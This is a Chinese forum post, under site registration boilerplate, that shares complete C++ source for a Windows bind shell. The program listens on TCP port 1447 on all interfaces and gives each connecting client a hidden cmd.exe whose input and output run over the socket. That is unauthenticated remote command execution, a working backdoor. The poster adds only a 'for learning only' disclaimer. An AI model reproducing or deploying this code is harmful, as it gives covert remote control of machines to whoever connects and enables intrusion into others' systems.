马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
原理是把Socket套接字句柄作为子进程的stdin、stdout、stderr管道。
要实现这一步必须用WSASocket创建套接字。 不用创建管道,省区许多麻烦事儿。
上一张用Telnet连接的图吧。
仅供学习~不要干坏事哦。
@漩涡鸣人 @kklloo @~风介~ @牡丹花下死做鬼
// ScoketPip.cpp : 定义应用程序的入口点。
//
#include "stdafx.h"
#include "ScoketPip.h"
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
typedef struct
{
SOCKET childFd;
SOCKADDR_IN childaddr;
DWORD thread_id;
}WorkInfo;
DWORD WINAPI thread_worker(PVOID Parm)
{
// 这是工作线程函数
WorkInfo info1;
PROCESS_INFORMATION pi={0};
STARTUPINFOA si={0};
memcpy(&info1,Parm,sizeof(WorkInfo));
// 创建进程
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)info1.childFd;
char *welcome = "远程CMD\n作者:无名侠\n主页:www.pandaos.net\n";
send(info1.childFd,welcome,strlen(welcome)+1,0);
DWORD ret=CreateProcessA(NULL,"cmd.exe",
NULL,NULL,1,0,NULL,NULL,&si,&pi);
if (!ret)
{
char *error = "无法访问cmd.exe\n连接失败...\n";
send(info1.childFd,error,strlen(error)+1,0);
}
closesocket(info1.childFd);
// 销毁
return ret;
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
WSADATA wd={0};
SOCKET sock;
SOCKADDR_IN sockaddr={0};
WSAStartup(MAKEWORD(2,2),&wd);
sock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
if (sock==INVALID_SOCKET)
ExitProcess(-1);
sockaddr.sin_family = AF_INET;
sockaddr.sin_port=htons(1447);
sockaddr.sin_addr.S_un.S_addr=ADDR_ANY;
if(bind(sock,(SOCKADDR *)&sockaddr,sizeof(sockaddr)))
ExitProcess(-2);
if(listen(sock,5))
ExitProcess(-3);
// 为每个用户运行一个cmd控制台
while (true)
{
WorkInfo newwork;
int slen;
slen = sizeof(SOCKADDR_IN);
newwork.childFd=accept(sock,(SOCKADDR *)&newwork.childaddr,&slen);
if (newwork.childFd!=INVALID_SOCKET)
{
HANDLE hThread;
hThread = CreateThread(NULL,0,thread_worker,&newwork,0,&newwork.thread_id);
CloseHandle(hThread);
}
Sleep(200);
}
}
|